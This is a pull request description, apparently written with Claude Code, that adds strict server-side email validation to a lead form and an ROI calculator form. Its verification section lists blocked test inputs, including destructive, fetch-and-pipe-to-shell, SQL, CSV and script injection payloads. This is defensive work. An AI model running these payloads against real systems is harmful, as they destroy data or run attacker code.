Validate email addresses on both public form endpoints #25
Reference in New Issue
Block a user
No description provided.
Delete Branch "feature/strict-email-validation"
Deleting a branch is permanent. Although the deleted branch may continue to exist for a short time before it actually gets removed, it CANNOT be undone in most cases. Continue?
Follow-up to #24. The ROI calculator accepted the
emailfield with no validation at all and stored whatever arrived — that's where the spam was putting shell-command payloads.On the premise
Those commands could not have executed. There is no
child_process,exec,spawnorevalanywhere in the codebase, and every write goes through parameterized prepared statements. This looks like a scattergun bot spraying payloads at every field it finds. The junk was still being persisted, though, and the field is the right place to stop it.What this adds
security.validateEmail(), deliberately stricter than RFC 5322. The local part is limited to the characters real-world addresses actually use, which structurally excludes every shell metacharacter (; | &+ "" +$ ( ) < > \ " '` and space). On top of the pattern:emailpreviously reached.trim()and threw a 500)Applied to
/api/calculate(optional — empty is fine, present must be valid) and to/api/leads, replacing its much weaker/^[^\s@]+@[^\s@]+\.[^\s@]+$/. The client mirrors the check for instant feedback; the server stays authoritative.Also hardens the
/api/leadsrequired-field checks, which called.trim()on unvalidated input and returned a 500 rather than a 400 for non-string input.Verification
38 cases, all passing.
Accepted:
first.last@sub.domain.co.uk,user+tag@gmail.com,o.brien99@my-hoa.org,x_y%z@mail.example.museum,UPPER@Example.COM.Blocked:
a@b.com; rm -rf /,$(whoami)@evil.com,`id`@x.com,a@b.com && curl evil.sh|sh,foo@bar.com\nBcc: victim@x.com,'; DROP TABLE leads;--@x.com,=cmd|'/c calc'!A1@x.com(CSV injection),<script>alert(1)</script>@x.com, over-length local parts and domains, arrays/objects/numbers.Verified through a live endpoint as well: injection payloads return
400 {"field":"email"}with nothing stored; a clean address stores normalized.Trade-off
RFC-legal but vanishingly rare addresses (
foo!bar$baz@x.com, a leading+in the local part) are rejected. Those characters are exactly the injection surface — turning away a hypothetical address beats storing a shell string. Easy to loosen if it ever bites.🤖 Generated with Claude Code